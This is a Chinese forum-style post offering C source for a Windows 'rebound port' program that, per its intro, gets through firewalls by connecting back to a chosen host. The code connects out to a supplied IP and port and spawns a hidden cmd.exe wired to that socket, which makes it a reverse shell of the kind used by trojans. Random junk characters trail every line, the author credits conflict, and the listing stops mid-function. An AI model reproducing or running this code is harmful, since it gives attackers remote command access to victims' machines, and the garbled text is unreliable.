这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^+-i7`|=
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/* ============================== AtSEKpKc
Rebound port in Windows NT ^s^X n QhE
By wind,2006/7 nfc&.(6x<
===============================*/ Jg@PhN<9
#include ALhu\x>AY
#include ;%Qu;FtC
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#pragma comment(lib,"wsock32.lib") 1Eh(U
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void OutputShell(); $///N+B
SOCKET sClient; f)>=.sp
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }z}oVc
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void main(int argc,char **argv) `Dj-(~x
{ $cc]pJy"}
WSADATA stWsaData; Y}PI{PN
int nRet; )8yNqnD
SOCKADDR_IN stSaiClient,stSaiServer; E#J+.&2
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if(argc != 3) z`lDD
{ Wfp[)MM;
printf("Useage:\n\rRebound DestIP DestPort\n"); L \pe
return; <`BUk< uf#
} KATt9ox@
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4~D?F'o
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~i(X{^,3
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stSaiClient.sin_family = AF_INET; 4\>Cnc{
stSaiClient.sin_port = htons(0); O",:0<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3#W>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;:f.a(~c
{ ;8H
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printf("Bind Socket Failed!\n"); Tw=Jc 's
return; NeQ/#[~g
} ,'[0tl}8K
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stSaiServer.sin_family = AF_INET; @jX[Ho0W'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .#@*)1A#t
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bP(xMw<'j
}Dm-Ibdg(
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aH*)W'N?
{ $0
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printf("Connect Error!"); 3V2"1Ic
return; ^As^hY^p
}
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OutputShell(); VD,g
} n)gzHch
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void OutputShell() $)mK]57
{ ]7eQ5[5s
char szBuff[1024]; 5?{a=r9
SECURITY_ATTRIBUTES stSecurityAttributes; 2/3,%5j_
OSVERSIONINFO stOsversionInfo; hIE$u t +
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oIN!3
STARTUPINFO stStartupInfo;
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char *szShell; IZ/+RO n
PROCESS_INFORMATION stProcessInformation; [td)v,
unsigned long lBytesRead; -)PQ&[
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^fa+3`>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x=(Q$Hl5
stSecurityAttributes.lpSecurityDescriptor = 0; 'gI q_t|^
stSecurityAttributes.bInheritHandle = TRUE; To.CY^M
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *F[@lY\p
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R5(<:]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mr&nB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A!\g!*
stStartupInfo.wShowWindow = SW_HIDE; gs7h`5[es
stStartupInfo.hStdInput = hReadPipe; cxn3e,d`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q/xT>cUd
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GetVersionEx(&stOsversionInfo); (R5n ND
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switch(stOsversionInfo.dwPlatformId) 9!&fak_
{ V i V3Y
case 1: dI};l
szShell = "command.com"; V.?N29CA|
break; |uf{:U)
default: xM"k qRZ
szShell = "cmd.exe"; pUi|&F K">
break; 2dg+R)%
} F%M4i`Vh
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LlKvi_z
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send(sClient,szMsg,77,0); "^Y)&